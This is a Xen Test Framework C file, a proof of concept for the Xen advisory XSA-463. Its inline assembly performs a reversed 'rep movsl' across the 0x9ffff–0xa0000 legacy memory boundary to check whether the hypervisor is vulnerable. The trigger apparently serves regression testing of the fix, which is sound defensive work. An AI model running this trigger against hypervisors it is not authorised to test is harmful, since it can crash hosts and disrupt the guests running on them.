main.c

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#include <xtf.h>
 
const char test_title[] = "XSA-463 PoC";
 
void test_main(void)
{
    unsigned long tmp;
 
    asm volatile ("std\n\t"
                  "rep movsl\n\t"
                  "cld"
                  : "=S" (tmp), "=D" (tmp), "=c" (tmp)
                  : "S" (0x9ffff), "D" (0xa0000), "c" (2)
                  : "memory");
 
    xtf_success("Success: Not vulnerable to XSA-463\n");
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */